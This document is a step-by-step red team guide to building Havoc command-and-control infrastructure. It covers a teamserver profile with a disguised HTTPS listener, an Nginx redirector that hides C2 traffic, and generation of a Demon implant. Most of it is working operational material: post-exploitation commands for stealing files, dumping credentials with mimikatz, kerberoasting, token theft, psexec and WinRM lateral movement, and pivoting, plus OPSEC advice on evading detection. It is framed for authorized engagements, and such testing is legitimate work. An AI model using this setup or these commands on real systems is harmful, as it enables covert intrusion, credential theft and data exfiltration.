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Building Red Team C2 Infrastructure with Havoc
Overview
Havoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP/HTTPS/SMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.
When to Use
When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment
When establishing security controls aligned to compliance requirements
When building or improving security architecture for this domain
When conducting security assessments that require this implementation
Prerequisites
Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)
Kali Linux 2023+ (for Client)
VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)
Domain name aged 30+ days with valid SSL certificate
Written authorization for red team engagement
Architecture
┌──────────────────────────────────────────────────────────────┐
│ HAVOC C2 ARCHITECTURE │
├──────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ Havoc │────▶│ HTTPS │────▶│ Target Network │ │
│ │ Client │ │ Redirector │ │ (Demon Agent) │ │
│ │ (Kali) │ │ (Nginx/CDN) │ │ │ │
│ └──────────┘ └──────────────┘ └──────────────────┘ │
│ │ │ │
│ │ ┌──────────────┐ │
│ └──────────▶│ Havoc │ │
│ │ Teamserver │ │
│ │ (Ubuntu VPS)│ │
│ │ Port 40056 │ │
│ └──────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
Step 1: Install Havoc Teamserver # Clone the Havoc repository
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
# Install dependencies (Ubuntu 22.04)
sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \
qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \
python3-dev libboost-all-dev mingw-w64 nasm
# Build the Teamserver
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build
# Build the Client
make client-build
Step 2: Configure Teamserver Profile Create the Havoc profile (havoc.yaotl):
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "operator1" {
Password = "Str0ngP@ssw0rd!"
}
user "operator2" {
Password = "An0th3rP@ss!"
}
}
Listeners {
Http {
Name = "HTTPS Listener"
Hosts = ["c2.yourdomain.com"]
HostBind = "0.0.0.0"
HostRotation = "round-robin"
PortBind = 443
PortConn = 443
Secure = true
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
Uris = [
"/api/v2/auth",
"/api/v2/status",
"/content/images/gallery",
]
Headers = [
"X-Requested-With: XMLHttpRequest",
"Content-Type: application/json",
]
Response {
Headers = [
"Content-Type: application/json",
"Server: nginx/1.24.0",
"X-Frame-Options: DENY",
]
}
}
}
Demon {
Sleep = 10
Jitter = 30
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Step 3: Start Teamserver # Start the Havoc Teamserver with the profile
./havoc server --profile ./profiles/havoc.yaotl -v
# Expected output:
# [*] Havoc Framework [Version: 0.7]
# [*] Teamserver started on: 0.0.0.0:40056
# [*] HTTPS Listener started on: 0.0.0.0:443
Step 4: Configure HTTPS Redirector Set up an Nginx reverse proxy on a separate VPS as a redirector:
# /etc/nginx/sites-available/c2-redirector
server {
listen 443 ssl;
server_name c2.yourdomain.com;
ssl_certificate /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem;
# Only forward traffic matching C2 URIs
location /api/v2/auth {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
location /api/v2/status {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
}
location /content/images/gallery {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
}
# Redirect all other traffic to legitimate site
location / {
return 301 https://www.microsoft.com;
}
}
Step 5: Generate Demon Payload # Via the Havoc Client GUI:
# Attack > Payload
# Agent: Demon
# Listener: HTTPS Listener
# Arch: x64
# Format: Windows Exe / Windows Shellcode
# Sleep Technique: WaitForSingleObjectEx (Ekko)
# Spawn: C:\Windows\System32\notepad.exe
# The generated Demon payload connects back through:
# Target -> Redirector (Nginx) -> Teamserver
Step 6: Post-Exploitation with Demon Once a Demon session checks in, common post-exploitation commands:
# Session interaction
demon> whoami
demon> shell systeminfo
demon> shell ipconfig /all
# Process listing
demon> proc list
# File operations
demon> download C:\Users\target\Documents\sensitive.docx
demon> upload /tools/Rubeus.exe C:\Windows\Temp\r.exe
# In-memory .NET execution (no disk touch)
demon> dotnet inline-execute /tools/Seatbelt.exe -group=all
demon> dotnet inline-execute /tools/SharpHound.exe -c All
# Token manipulation
demon> token steal <PID>
demon> token make DOMAIN\user password
# Credential access
demon> mimikatz sekurlsa::logonpasswords
demon> dotnet inline-execute /tools/Rubeus.exe kerberoast
# Lateral movement
demon> jump psexec TARGET_HOST HTTPS_LISTENER
demon> jump winrm TARGET_HOST HTTPS_LISTENER
# Pivoting
demon> socks start 1080
demon> rportfwd start 8080 TARGET_INTERNAL 80
OPSEC Considerations Aspect Recommendation Domain Age Register domains 30+ days before engagement SSL Certificates Use Let's Encrypt or purchased certificates, never self-signed Categorization Submit domain to Bluecoat/Fortiguard for categorization Sleep/Jitter Minimum 10s sleep with 30%+ jitter for long-haul operations User-Agent Match target organization's common browser user-agent Kill Date Set payload expiration to engagement end date Infrastructure Separate teamserver, redirector, and phishing infrastructure Payload Format Use shellcode with custom loader instead of raw EXE
MITRE ATT&CK Mapping Technique ID Name Phase T1583.001 Acquire Infrastructure: Domains Resource Development T1583.003 Acquire Infrastructure: Virtual Private Server Resource Development T1587.001 Develop Capabilities: Malware Resource Development T1071.001 Application Layer Protocol: Web Protocols Command and Control T1573.002 Encrypted Channel: Asymmetric Cryptography Command and Control T1090.002 Proxy: External Proxy Command and Control T1105 Ingress Tool Transfer Command and Control T1055 Process Injection Defense Evasion
References